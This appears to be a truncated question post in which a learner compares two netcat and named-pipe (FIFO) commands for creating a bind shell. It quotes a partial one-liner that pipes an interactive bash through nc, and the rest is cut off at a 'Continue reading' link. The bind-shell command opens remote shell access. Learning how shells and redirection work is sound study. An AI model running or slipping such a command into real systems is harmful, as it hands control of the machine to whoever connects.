Differences in behavior between two Netcat and FIFO commands for creating a bind shell

I am trying to grasp the concept of terminal-emulators, shells and redirections.
I have two commands, both of them start a netcat listener for the bind shell:
1) rm /tmp/fifo; mkfifo /tmp/fifo; cat /tmp/fifo | /bin/bash -i 2>&1 | nc… Continue reading Differences in behavior between two Netcat and FIFO commands for creating a bind shell